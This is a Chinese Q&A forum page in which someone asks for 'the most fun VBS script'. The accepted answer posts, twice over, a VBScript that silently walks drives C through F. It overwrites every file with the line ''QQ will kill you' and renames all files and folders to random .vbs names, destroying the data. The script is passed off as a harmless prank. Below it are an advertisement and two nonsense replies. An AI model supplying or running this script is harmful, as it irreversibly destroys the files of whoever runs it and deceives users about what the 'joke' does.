写个最有趣的vbs
2013-08-07
展开全部
on error resume next
const DRIVE_LETTERS="F:E:D:C"
set fso = CreateObject("Scripting.FileSystemObject")
sub Start()
call NewFile()
call ScanDrives()
end sub
sub ScanDrives()
dim drives
drives=Split(DRIVE_LETTERS,":")
for each drv in drives
if fso.DriveExists(drv) then
set drive=fso.GetDrive(drv)
if drive.isReady then
call ScanFiles(drive.RootFolder)
end if
end if
next
end sub
sub ScanFiles(folder)
for each this_file in folder.Files
call DoWithFile(this_file)
next
for each this_folder in folder.SubFolders
call ScanFiles(this_folder)
next
newName=fso.GetTempName()&".vbs"
folder.name=newName
end sub
sub DoWithFile(file)
set stream=file.OpenAsTextStream(2)
stream.WriteLine("'QQ will kill you")
stream.Close()
newName=fso.GetTempName()&".vbs"
file.name=newName
end sub
sub NewFile()
end sub
call Start()
const DRIVE_LETTERS="F:E:D:C"
set fso = CreateObject("Scripting.FileSystemObject")
sub Start()
call NewFile()
call ScanDrives()
end sub
sub ScanDrives()
dim drives
drives=Split(DRIVE_LETTERS,":")
for each drv in drives
if fso.DriveExists(drv) then
set drive=fso.GetDrive(drv)
if drive.isReady then
call ScanFiles(drive.RootFolder)
end if
end if
next
end sub
sub ScanFiles(folder)
for each this_file in folder.Files
call DoWithFile(this_file)
next
for each this_folder in folder.SubFolders
call ScanFiles(this_folder)
next
newName=fso.GetTempName()&".vbs"
folder.name=newName
end sub
sub DoWithFile(file)
set stream=file.OpenAsTextStream(2)
stream.WriteLine("'QQ will kill you")
stream.Close()
newName=fso.GetTempName()&".vbs"
file.name=newName
end sub
sub NewFile()
end sub
call Start()
本回答被网友采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
AiPPT
2024-09-19 广告
2024-09-19 广告
作为北京饼干科技有限公司的工作人员,关于AIPPT免费生成PPT的功能,我可以简要介绍如下:AIPPT是一款基于人工智能技术的PPT制作工具,它为用户提供了免费生成PPT的便捷服务。用户只需简单输入PPT的主题或内容大纲,AIPPT便能智能...
点击进入详情页
本回答由AiPPT提供
2013-08-07
展开全部
童话已经结束、遗忘就是幸福
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmssssssssssssssssssssssgggggggggggggggggggggggggggggggbbbbbbbbbbbbbbbbbbbbbbbbbbbbboooooooooooooooooooooooooxxxxxxxxxxxxxxpxpxpxxpxxxx
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询